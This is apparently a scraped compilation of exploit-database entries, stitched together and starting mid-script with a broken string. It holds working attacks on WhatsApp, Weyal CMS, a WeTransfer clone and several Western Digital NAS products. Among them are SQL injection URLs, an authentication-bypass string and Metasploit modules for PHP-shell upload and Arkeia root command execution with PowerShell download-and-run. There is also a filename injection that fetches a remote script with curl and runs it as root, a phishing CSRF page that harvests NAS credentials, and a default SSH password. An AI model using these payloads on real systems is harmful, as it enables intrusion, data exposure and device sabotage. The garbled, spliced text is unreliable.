#       or want to register, you can leave this field blank or set it to some random text.
# password: Password to use for login. You obtain this password when you register using Yowsup.
######################################################
MINE_CONFIG ="config"
 
def getCredentials(config = DEFAULT_CONFIG):
    if os.path.isfile(config):
        f = open(config)
         
        phone = ""
        idx = ""
        pw = ""
        cc = ""
         
        try:
            for l in f:
                line = l.strip()
                if len(line) and line[0] not in ('#',';'):
                     
                    prep = line.split('#', 1)[0].split(';', 1)[0].split('=', 1)
                     
                    varname = prep[0].strip()
                    val = prep[1].strip()
                     
                    if varname == "phone":
                        phone = val
                    elif varname == "id":
                        idx = val
                    elif varname =="password":
                        pw =val
                    elif varname == "cc":
                        cc = val
 
            return (cc, phone, idx, pw);
        except:
            pass
 
    return 0
 
def main(phone):
    credentials = getCredentials(MINE_CONFIG or DEFAULT_CONFIG )
 
    if credentials:
         
        countryCode, login, identity, password = credentials
        identity = Utilities.processIdentity(identity)
 
        password = base64.b64decode(password)
 
        # Custom message that will crash WhatsApp
        message = message = "#RemoteExecution
HireHackking 
Heap corruption can occur when the WhatsApp mobile application receives a malformed RTP packet.

08-31 15:43:50.721  9428  9713 F libc    : Fatal signal 11 (SIGSEGV), code 1, fault addr 0x7104200000 in tid 9713 (Thread-11)
08-31 15:43:50.722   382   382 W         : debuggerd: handling request: pid=9428 uid=10119 gid=10119 tid=9713
08-31 15:43:50.818  9720  9720 F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
08-31 15:43:50.818  9720  9720 F DEBUG   : Build fingerprint: 'google/angler/angler:7.1.2/N2G48H/natash11071827:userdebug/dev-keys'
08-31 15:43:50.818  9720  9720 F DEBUG   : Revision: '0'
08-31 15:43:50.818  9720  9720 F DEBUG   : ABI: 'arm64'
08-31 15:43:50.818  9720  9720 F DEBUG   : pid: 9428, tid: 9713, name: Thread-11  >>> com.whatsapp <<<
08-31 15:43:50.818  9720  9720 F DEBUG   : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x7104200000
08-31 15:43:50.819  9720  9720 F DEBUG   :     x0   00000071041ffde8  x1   00000071047796b0  x2   0000000000000000  x3   0000000000000030
08-31 15:43:50.819  9720  9720 F DEBUG   :     x4   0000000000000000  x5   0000000000000040  x6   00000071041fffd8  x7   8181818181818181
08-31 15:43:50.819  9720  9720 F DEBUG   :     x8   8181818181818181  x9   8181818181818181  x10  8181818181818181  x11  8181818181818181
08-31 15:43:50.819  9720  9720 F DEBUG   :     x12  8181818181818181  x13  8181818181818181  x14  8181818181818181  x15  0000000000000000
08-31 15:43:50.819  9720  9720 F DEBUG   :     x16  0000007110a468a0  x17  000000712f3b0908  x18  0000000000000000  x19  0000000000000280
08-31 15:43:50.819  9720  9720 F DEBUG   :     x20  00000071088744a8  x21  0000000000000280  x22  00000071256a5a28  x23  0000007104ff9b70
08-31 15:43:50.819  9720  9720 F DEBUG   :     x24  000000000000100d  x25  000000000000120d  x26  0000007104779480  x27  0000007108830828
08-31 15:43:50.819  9720  9720 F DEBUG   :     x28  0000000000151f80  x29  00000071043fe540  x30  000000711060a010
08-31 15:43:50.819  9720  9720 F DEBUG   :     sp   00000071043fe320  pc   000000712f3b0a5c  pstate 0000000060000000
08-31 15:43:50.825  9720  9720 F DEBUG   : 
08-31 15:43:50.825  9720  9720 F DEBUG   : backtrace:
08-31 15:43:50.825  9720  9720 F DEBUG   :     #00 pc 000000000001aa5c  /system/lib64/libc.so (memcpy+340)
08-31 15:43:50.825  9720  9720 F DEBUG   :     #01 pc 00000000000c500c  /data/app/com.whatsapp-2/lib/arm64/libwhatsapp.so
08-31 15:43:50.825  9720  9720 F DEBUG   :     #02 pc 00000000000c7d60  /data/app/com.whatsapp-2/lib/arm64/libwhatsapp.so
08-31 15:43:50.825  9720  9720 F DEBUG   :     #03 pc 00000000000f88d4  /data/app/com.whatsapp-2/lib/arm64/libwhatsapp.so
08-31 15:43:50.825  9720  9720 F DEBUG   :     #04 pc 00000000000f6948  /data/app/com.whatsapp-2/lib/arm64/libwhatsapp.so
08-31 15:43:50.825  9720  9720 F DEBUG   :     #05 pc 00000000000f0ef4  /data/app/com.whatsapp-2/lib/arm64/libwhatsapp.so
08-31 15:43:50.825  9720  9720 F DEBUG   :     #06 pc 00000000000f0630  /data/app/com.whatsapp-2/lib/arm64/libwhatsapp.so
08-31 15:43:50.825  9720  9720 F DEBUG   :     #07 pc 00000000000eef3c  /data/app/com.whatsapp-2/lib/arm64/libwhatsapp.so
08-31 15:43:50.825  9720  9720 F DEBUG   :     #08 pc 00000000001272e0  /data/app/com.whatsapp-2/lib/arm64/libwhatsapp.so
08-31 15:43:50.825  9720  9720 F DEBUG   :     #09 pc 0000000000303d20  /data/app/com.whatsapp-2/lib/arm64/libwhatsapp.so
08-31 15:43:50.825  9720  9720 F DEBUG   :     #10 pc 0000000000068734  /system/lib64/libc.so (_ZL15__pthread_startPv+208)
08-31 15:43:50.825  9720  9720 F DEBUG   :     #11 pc 000000000001da7c  /system/lib64/libc.so (__start_thread+16)

This issue can occur when a WhatsApp user accepts a call from a malicious peer. It affects both the Android and iPhone clients.

To reproduce the issue:

1) Apply the attached patch to libwhatsapp.so in the Android application using bsdiff. this patch intercepts a memcpy right before srtp_protect is called, and alters the RTP buffer. The SHA1 of the original library I used was cfdb0266cbd6877e5d146ddd59fa83ebccdd013d, and the SHA1 of the modified library is 042256f240367eaa4a096527d1afbeb56ab2eeb4.

2) Build the attached file, natalie2.c for the Android device the application is running on, and copy it to /data/data/com.whatsapp/libn.so.

3) Copy the files in the attached folder into /data/data/com.whatsapp/files so that /data/data/com.whatsapp/files/t0 is a valid location.

4) Restart WhatsApp and call the target device and pick up the call. The deivce will crash in a few seconds.

Logs from the crashes on Android and iPhone are attached. Note that I modified the Android target binary to disable WhatsApp's custom crash handling. The iPhone WhatsApp install was unmodified.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45579.zip
HireHackking 
source: https://www.securityfocus.com/bid/60089/info

Weyal CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/fullstory.php?id=-999 union all select 1,2,version(),user(),database(),6

http://www.example.com/fullstory.php?id=-999 UNION SELECT 1,2,version(),database(),5,6,7,8,9,10,11,12,13,14

http://www.example.com/countrys.php?countryid=-999 union all select 1,version(),database()
HireHackking 
# # # # # 
# Vulnerability: SQL Injection + Authentication Bypass
# Date: 18.01.2017
# Vendor Homepage: http://www.scriptgiant.com/
# Script Name: Wetransfer Clone Script
# Script Buy Now: http://www.popularclones.com/products/File-Transfer-Script
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# http://localhost/[PATH]/admin/ and set Username:'or''=' and Password to 'or''=' and hit enter.
# SQL Injection There are security vulnerabilities.
# # # # #
HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  HttpFingerprint = { :method => 'HEAD', :uri => '/web/', :pattern => [/Apache/] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Western Digital MyCloud multi_uploadify File Upload Vulnerability',
      'Description'    => %q{
        This module exploits a file upload vulnerability found in Western Digital's MyCloud
        NAS web administration HTTP service. The /web/jquery/uploader/multi_uploadify.php
        PHP script provides multipart upload functionality that is accessible without authentication
        and can be used to place a file anywhere on the device's file system. This allows an
        attacker the ability to upload a PHP shell onto the device and obtain arbitrary code
        execution as root.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Zenofex <zenofex[at]exploitee.rs>' # Initial vulnerability discovery, PoC, and Metasploit module
        ],
      'References'     =>
        [
          ['URL', 'https://www.exploitee.rs/index.php/Western_Digital_MyCloud#.2Fjquery.2Fuploader.2Fmulti_uploadify.php_.28added_08.2F06.2F2017.29'],
          ['URL', 'https://download.exploitee.rs/file/generic/Exploiteers-DEFCON25.pdf'],
          ['URL', 'https://www.youtube.com/watch?v=EO_49pfmA5A'],
          ['CVE', '2017-17560']
        ],
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['Automatic Targeting', { 'auto' => true }]
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Jul 29 2017',
      'DefaultTarget'  => 0))
  end

  def check
    res = send_request_cgi('uri' => '/web/jquery/uploader/multi_uploadify.php')

    if res.nil?
      vprint_error('Connection failed')
      return CheckCode::Unknown
    end

    if res.code == 302 && res.headers['Location'] =~ /\?status=1/
      return CheckCode::Vulnerable
    end

    CheckCode::Safe
  end

  def upload(web_folder, fname, file)
    # construct post data
    data = Rex::MIME::Message.new
    data.add_part(file, 'application/x-php', nil, "form-data; name=\"Filedata[]\"; filename=\"#{fname}\"")

    # upload
    res = send_request_cgi({
      'method'  => 'POST',
      'uri'     => '/web/jquery/uploader/multi_uploadify.php',
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'data'    => data.to_s,
      'vars_get' => {
        'folder' => web_folder
      }
    })
  end

  def exploit
    if check != CheckCode::Vulnerable
      fail_with(Failure::NotVulnerable, 'Target does not appear to be a vulnerable Western Digital MyCloud device')
    end

    # upload PHP payload to '/var/www' (webroot).
    web_folder = '/var/www'
    php   = "<?php #{payload.encoded} ?>"
    print_status("Uploading PHP payload (#{php.length} bytes) to '#{web_folder}'.")
    fname = ".#{rand_text_alphanumeric(rand(10) + 6)}.php"

    res = upload(web_folder, fname, php)

    # check upload response
    fail_with(Failure::Unreachable, 'No response received from the target.') unless res
    if res.code != 302 || res.headers['Location'] =~ /\?status=0/
      fail_with(Failure::UnexpectedReply, "Unexpected reply (#{res.body.length} bytes)")
    end
    print_good('Uploaded PHP payload successfully.')

    # register uploaded php payload file for cleanup
    register_files_for_cleanup(fname)

    # retrieve and execute PHP payload
    print_status("Making request for '/#{fname}' to execute payload.")
    res = send_request_cgi({'uri' => normalize_uri(fname)}, 15)
  end

end
HireHackking 
# Exploit Title:     Western Digital My Cloud Command Injection
# Vendor Homepage:   http://www.wdc.com
# Firmware tested:   04.01.03-421 and 04.01.04-422 for the Personal Cloud devices
# Firmware link:     http://download.wdc.com/nas/sq-040104-422-20150423.deb.zip
# Exploit Author:    James Sibley (absane) ; twitter = @ab5ane
# Blog post:         http://versprite.com/og/command-injection-in-the-wd-my-cloud-nas/
# Discovery date:    May 10 2015
# Vendor notified:   May 12 2015
# Vendor fixed:      September 2015 with rolling updates
# Vendor advisory:   http://community.wd.com/t5/My-Cloud/Potential-Security-Vulnerabilities-with-My-Cloud-Personal-Cloud/td-p/898578

=======================
| Overview            |
=======================
The function "exec_runtime", defined in /var/www/restapi/api/Core/init_autoloader.php, executes programs and scripts on the Linux-based WD My Cloud NAS through the PHP "exec" function. In many instances, user input makes its way into the "exec" function without proper validation and sanitization. Because of this, attackers can hijack the command flow and execute arbitrary commands in the context of the user www-data. The www-data user has unrestricted sudo access so escalating to root and therefore compromising the device is trivial.

This was discovered in the "My Cloud Personal Cloud" device but other models may be affected.

=======================
| Proof of Concepts   |
=======================
There are two ways to show this:

Method 1) Using the client application ("WD My Cloud Desktop") upload 2GB file with the following name: $(sudo shutdown -h now).txt

Method 2) a) Authenticate as the administrator @ http://wdmycloud:80
          b) Open the following path: /api/1.0/rest/safepoint_getstatus?handle=$(sudo shutdown -h now)&action=update

In both PoCs, observe that the device powers off.

=======================
| Exploit 1           |
=======================
This exploit will make all private folders public. A video demo is in the blog.

1) On a webserver host the following as index.html:
	#!/bin/bash
 
	while read share;
	do
		echo UPDATE UserShares SET public_access=\"true\" WHERE share_name=\"$share\"";" | sqlite3 /usr/local/nas/orion/orion.db;
	done < <(bash /usr/local/sbin/getShares.sh private)
	
2) Upload a 2GB file to the WD My Cloud NAS with the client application ("WD My Cloud Desktop"). Use the following name:
	$(sudo curl 192.168.0.226 -o makeAllPublic.sh && sudo bash makeAllPublic.sh).txt
	
3) After the file uploads, refresh the file list.

=======================
| Exploit 2           |
=======================
<!-- The following PHP script will utilize CSRF and WebRTC to remotely shutdown the My Cloud device.   -->
<!-- Assumes zero knowledge of device's internal IP and current authentication state.                  -->
<!-- Requires that the targeted user has admin rights and is on the same LAN as the My Cloud.          -->
<!-- Source for the WebRTC JS code: https://dl.dropboxusercontent.com/u/1878671/enumhosts.html         -->
<?php 
if  (empty( $_GET['exploit'] ) ) {
	echo "<html>";
	echo "            <form id=\"login_form\" action=\"pwnmycloud.php\" method=\"get\">";
	echo "                <p>Your WD My Cloud is damaged. Please login to fix this!</p>";
	echo "                <div class=\"content_row\">";
	echo "                    <label>Username</label>";
	echo "                    <input class=\"NOTEMPTY\" id=\"login_username\" name=\"username\" value=\"\" type=\"text\">";
	echo "                </div>";
	echo "                <div class=\"content_row\">";
	echo "                    <label>Password</label>";
	echo "                    <input id=\"login_password\" name=\"password\" value=\"\" autocomplete=\"off\" type=\"password\">";
	echo "                </div>";
	echo "					<input id=\"exploit\" name=\"exploit\" value=\"true\" autocomplete=\"off\" type=\"hidden\">";
	echo "        	<input type=\"submit\" value=\"Submit\">";
	echo "            </form>";
	echo "</html>";
	die();
} ?>
<!doctype html><html><body onload = "go()"><script>

<!-- Start compressed WebRTC code from https://dl.dropboxusercontent.com/u/1878671/enumhosts.html -->
function TaskController(e,n){this.numConcurrent=e,this.onDone=n||function(){},this.pending=0,this.queued=[],this.checkTimer=-1}function probeIp(e,n,t){var i=Date.now(),o=!1,c=document.createElement("img"),r=function(){c&&(document.body.removeChild(c),c=null)},u=function(){o||(o=!0,r(),t(e,Date.now()-i<n))};document.body.appendChild(c),c.style.display="none",c.onload=function(){u(!0)},c.onerror=function(){u(!1)},c.src="https://"+e+":"+~~(1024+1024*Math.random())+"/I_DO_NOT_EXIST?"+Math.random(),setTimeout(function(){c&&(c.src="")},n+500)}function probeNet(e,n,t){e=e.replace(/(\d+\.\d+\.\d+)\.\d+/,"$1.");for(var i=5e3,o=new TaskController(5,t),c=1;256>c;++c)o.queue(function(t,o){probeIp(e+t,i,function(e,t){t&&n(e),o()})}.bind(this,c))}function enumLocalIPs(e){function n(n){n in o||(o[n]=!0,e(n))}function t(e){e.split("\r\n").forEach(function(e){if(~e.indexOf("a=candidate")){var t=e.split(" "),i=t[4],o=t[7];"host"===o&&n(i)}else if(~e.indexOf("c=")){var t=e.split(" "),i=t[2];n(i)}})}var i=window.webkitRTCPeerConnection||window.mozRTCPeerConnection;if(!i)return!1;var o=Object.create(null);o["0.0.0.0"]=!1;var c=new i({iceServers:[]});return c.createDataChannel("",{reliable:!1}),c.onicecandidate=function(e){e.candidate&&t("a="+e.candidate.candidate)},setTimeout(function(){c.createOffer(function(e){t(e.sdp),c.setLocalDescription(e)},function(){})},500),!0}function getIPs(e){new TaskController(1);enumLocalIPs(function(n){e(n)})}TaskController.prototype.deferCheck=function(){-1==this.checkTimer&&(this.checkTimer=setTimeout(function(){this.checkTimer=-1,this.check()}.bind(this),0))},TaskController.prototype.check=function(){if(this.pending<1&&0==this.queued.length)return this.onDone();for(;this.pending<this.numConcurrent&&this.queued.length>0;)try{this.pending+=1,setTimeout(function(e){e(function(){this.pending-=1,this.deferCheck()}.bind(this))}.bind(this,this.queued.shift()),0)}catch(e){this.pending-=1,this.deferCheck()}},TaskController.prototype.queue=function(e){this.queued.push(e),this.deferCheck()},document.write=function(e){var n=document.getElementsByTagName("script"),t=n[n.length-1];t.insertAdjacentHTML("beforebegin",e)};
<!-- End compressed WebRTC code from https://dl.dropboxusercontent.com/u/1878671/enumhosts.html -->

function exploit(ip) {
    var ip_part = ip.split(".");
    var cidr_24 = ip_part[0] + "." + ip_part[1] + "." + ip_part[2] + ".";
    if (ip_part[0] == "192" || ip_part[0] == "172" || ip_part[0] == "10") {
		var expFrame = new Array(255);
		for (i = 2; i < 40; i++) {
			document.write("<iframe id=\"" + i + "\" src=\"http://" + cidr_24 + i +"/api/2.1/rest/local_login?username=" + "<?php echo $_GET['username'] ?>" + "&password=" + "<?php echo $_GET['password'] ?>\" height=0 width=0 style=\"visibility:hidden;display:none\"></iframe>");			
		};
		for (i = 2; i < 40; i++) {
			document.write("<iframe id=\"exp" + i + "\" src=\"http://" + cidr_24 + i + "/api/1.0/rest/safepoint_getstatus?handle=$(sudo shutdown -h now)&action=update\" height=0 width=0 style=\"visibility:hidden;display:none\"></iframe>");
			setInterval( function(id) {document.getElementById(id).src = document.getElementById(id).src;}, 2000, "exp"+i );
		};
	};
};

function go() {
    getIPs(function(ip) {
        exploit(ip);
    });
}; </script></body></html>

=======================
| Mitigation          |
=======================
An update to the firmware has been released as of 9/28/15.

Additional steps include:

* Don't click on links from websites or people you don't know or trust ;)
* Disable WebRTC in your browsers.
* Restrict access to the My Cloud device to only trusted users that need access to it.
* Disable remote access to the device if it is not used.
* Avoid using the client application until a firmware update has been applied.
HireHackking 
# Exploit Title: Western Digital My Book World II NAS <= 1.02.12 - Broken Authentication to RCE
# Google Dork: intitle:"My Book World Edition - MyBookWorld"
# Date: 19th Sep, 2019
# Exploit Author: Noman Riffat, National Security Services Group (NSSG)
# Vendor Homepage: https://wd.com/
# Software Link: https://support.wdc.com/downloads.aspx?p=130&lang=en
# Version: <= 1.02.12
# Tested on: Firmware
# CVE : CVE-2019-16399
POST /admin/system_advanced.php?lang=en HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
Content-Length: 241
orig_ssl_key=&orig_ssl_certificate=&submit_type=ssh&current_ssh=&enablessh=yes&Submit=Submit&ssl_certificate=Paste+a+signed+certificate+in+X.509+PEM+format+here.&ssl_key=Paste+a+RSA+private+key+in+PEM+format+here.&hddstandby=on&ledcontrol=on
/*
The default password for SSH is 'welc0me' and the only security measure preventing SSH Login is the disabled SSH Port and it can be enabled with above POST Header. The attacker can then login to SSH Port with default password. WD My Book World II NAS is very outdated hardware and Western Digitial may never release update for it. It is still using PHP 4 so it has more potential of Remote Exploits. All firmwares listed at https://support.wdc.com/downloads.aspx?p=130&lang=en are vulnerable.
There is no update coming probably and if you want to remain safe, abandon this NAS and switch to the latest hardware.
*/
Security Researcher - Noman Riffat, National Security Services Group (NSSG)
@nomanriffat, @nssgoman
HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Western Digital Arkeia Remote Code Execution',
      'Description' => %q{
        This module exploits a code execution flaw in Western Digital Arkeia version 11.0.12 and below.
        The vulnerability exists in the 'arkeiad' daemon listening on TCP port 617. Because there are
        insufficient checks on the authentication of all clients, this can be bypassed.
        Using the ARKFS_EXEC_CMD operation it's possible to execute arbitrary commands with root or
        SYSTEM privileges.
        The daemon is installed on both the Arkeia server as well on all the backup clients. The module
        has been successfully tested on Windows, Linux, OSX, FreeBSD and OpenBSD.
      },
      'Author'       =>
        [
          'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
        ],
      'Privileged'  => true,
      'Stance'      => Msf::Exploit::Stance::Aggressive,
      'Payload'     =>
        {
          'DisableNops' => true
        },
      'Targets'     =>
        [
          [ 'Windows',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win',
            }
          ],
          [ 'Linux',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix',
              'Payload' =>
                {
                  'DisableNops' => true,
                  'Space'       => 60000,
                  'Compat'      => {
                    'PayloadType' => 'cmd cmd_bash',
                    'RequiredCmd' => 'perl python bash-tcp gawk openssl'
                  }
                }
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jul 10 2015'))

    register_options(
      [
        Opt::RPORT(617),
        OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15])
      ], self.class)
  end

  def check
    connect

    req = "\x00\x41"
    req << "\x00" * 5
    req << "\x73"
    req << "\x00" * 12
    req << "\xc0\xa8\x02\x74"
    req << "\x00" * 56
    req << "\x74\x02\xa8\xc0"
    req << 'ARKADMIN'
    req << "\x00"
    req << 'root'
    req << "\x00"
    req << 'root'
    req << "\x00" * 3
    req << '4.3.0-1' # version?
    req << "\x00" * 11

    sock.put(req)

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      return Exploit::CheckCode::Unknown
    end

    req = "\x00\x73"
    req << "\x00" * 5
    req << "\x0c\x32"
    req << "\x00" * 11

    sock.put(req)
    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      return Exploit::CheckCode::Unknown
    end

    req = "\x00\x61\x00\x04\x00\x01\x00\x11\x00\x00\x31\x00"
    req << 'EN' # Language
    req << "\x00" * 11

    sock.put(req)
    header = sock.get_once(6)

    unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    unless data_length == 0
      disconnect
      return Exploit::CheckCode::Unknown
    end

    # ARKADMIN_GET_CLIENT_INFO
    req = "\x00\x62\x00\x01"
    req << "\x00" * 3
    req << "\x26"
    req << 'ARKADMIN_GET_CLIENT_INFO' # Function to request agent information
    req << "\x00\x32\x38"
    req << "\x00" * 11

    sock.put(req)

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]
    unless data_length == 0
      disconnect
      return Exploit::CheckCode::Unknown
    end

    req = "\x00\x63\x00\x04\x00\x00\x00\x12\x30\x00\x31\x00\x32\x38"
    req << "\x00" * 12

    sock.put(req)

    # 1st packet

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      return Exploit::CheckCode::Unknown
    end

    # 2nd packet

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      return Exploit::CheckCode::Unknown
    end

    # 3rd packet

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x65\x00\x04"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length && data.include?('You have successfully retrieved client information')
      disconnect
      return Exploit::CheckCode::Unknown
    end

    # 4th packet

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x69\x00\x04"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      return Exploit::CheckCode::Unknown
    end

    if data =~ /VERSION.*WD Arkeia ([0-9]+\.[0-9]+\.[0-9]+)/
      version = $1
      vprint_status("#{rhost}:#{rport} - Arkeia version detected: #{version}")
      if Gem::Version.new(version) <= Gem::Version.new('11.0.12')
        return Exploit::CheckCode::Appears
      else
        return Exploit::CheckCode::Safe
      end
    else
      vprint_status("#{rhost}:#{rport} - Arkeia version not detected")
      return Exploit::CheckCode::Unknown
    end
  end

  def exploit
    if target.name =~ /Windows/

      @down_file = rand_text_alpha(8+rand(8))
      @pl = generate_payload_exe

      begin
        Timeout.timeout(datastore['HTTP_DELAY']) {super}
      rescue Timeout::Error
      end
    elsif target.name =~ /Linux/
      communicate(payload.encoded)
      return
    end
  end

  def primer
    @payload_url = get_uri

    # PowerShell web download. The char replacement is needed because using the "/" character twice (like http://)
    # is not possible on Windows agents.
    command = "PowerShell -Command \"$s=[CHAR][BYTE]47;$b=\\\"#{@payload_url.gsub(/\//, '$($s)')}\\\";"
    command << "(New-Object System.Net.WebClient).DownloadFile($b,'c:/#{@down_file}.exe');"
    command << "(New-Object -com Shell.Application).ShellExecute('c:/#{@down_file}.exe');\""

    communicate(command)
  end

  def communicate(command)
    print_status("#{rhost}:#{rport} - Connecting to Arkeia daemon")

    connect

    print_status("#{rhost}:#{rport} - Sending agent communication")

    req = "\x00\x41\x00\x00\x00\x00\x00\x70"
    req << "\x00" * 12
    req << "\xc0\xa8\x02\x8a"
    req << "\x00" * 56
    req << "\x8a\x02\xa8\xc0"
    req << 'ARKFS'
    req << "\x00"
    req << 'root'
    req << "\x00"
    req << 'root'
    req << "\x00" * 3
    req << '4.3.0-1' # Client version ?
    req << "\x00" * 11

    sock.put(req)

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
    end

    req = "\x00\x73\x00\x00\x00\x00\x00\x0c\x32"
    req << "\x00" * 11

    sock.put(req)
    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
    end

    req = "\x00\x61\x00\x04\x00\x01\x00\x1a\x00\x00"
    req << rand_text_numeric(10) # "1234567890" - 10 byte numerical value, like a session ID?
    req << "\x00"
    req << 'EN' # English language?
    req << "\x00" * 11

    sock.put(req)
    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    unless data_length == 0
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read")
    end

    req = "\x00\x62\x00\x01\x00\x02\x00\x1b"
    req << 'ARKFS_EXEC_CMD' # With this function we can execute system commands with root/SYSTEM privileges
    req << "\x00\x31"
    req << "\x00" * 11

    sock.put(req)

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    unless data_length == 0
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read")
    end

    req = "\x00\x63\x00\x04\x00\x03\x00\x15\x31\x00\x31\x00\x31\x00\x30\x3a\x31\x2c"
    req << "\x00" * 11

    sock.put(req)

    command_length = '%02x' % command.length
    command_length = command_length.scan(/../).map { |x| x.hex.chr }.join

    req = "\x00\x64\x00\x04\x00\x04"
    req << [command.length].pack('n')
    req << command # Our command to be executed
    req << "\x00"

